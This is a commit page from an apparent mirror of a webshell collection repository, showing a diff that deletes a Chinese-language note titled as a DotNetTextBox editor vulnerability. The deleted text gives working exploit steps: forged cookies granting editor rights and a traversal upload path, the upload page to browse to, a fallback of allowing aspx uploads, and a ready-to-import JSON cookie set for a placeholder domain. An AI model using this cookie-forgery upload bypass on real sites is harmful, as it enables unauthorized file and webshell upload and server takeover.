Mirrors/webshell
2
0
Fork 0
mirror of https://github.com/tennc/webshell synced 2024-11-25 04:30:17 +00:00
Code Issues Projects Releases Packages Wiki Activity

delete DotNetTextBox

Browse source
This commit is contained in:
tennc 2013-06-06 08:24:42 +08:00
parent d267416af6
commit 5caf324002
1 changed files with 0 additions and 64 deletions
Show stats Download patch file Download diff file Expand all files Collapse all files

64
other/DotNetTextBox-bug
View file

@ -1,64 +0,0 @@
DotNetTextBox编辑器漏洞
修改cookie为：
cookie:UserType=0; IsEdition=0; Info=1; uploadFolder=../system_dntb/;
之后浏览 xxx.com/system_dntb/uploadFile.aspx/uploadFile.aspx
即可上传
如不行 则在system_dntb/Advanced.aspx添加 aspx or别的类型
[{
"domain": ".xxx.org",
"expirationDate": 1401960780,
"hostOnly": false,
"httpOnly": false,
"name": "UserType",
"path": "/",
"secure": false,
"session": false,
"storeId": "1",
"value": "0"
},
{
"domain": ".xxx.org",
"expirationDate": 1401960780,
"hostOnly": false,
"httpOnly": false,
"name": "IsEdition",
"path": "/",
"secure": false,
"session": false,
"storeId": "1",
"value": "0"
},
{
"domain": ".xxx.org",
"expirationDate": 1401960780,
"hostOnly": false,
"httpOnly": false,
"name": "Info",
"path": "/",
"secure": false,
"session": false,
"storeId": "1",
"value": "1"
},
{
"domain": ".xxx.org",
"expirationDate": 1401960780,
"hostOnly": false,
"httpOnly": false,
"name": "uploadFolder",
"path": "/",
"secure": false,
"session": false,
"storeId": "1",
"value": "../system_dntb/"
}]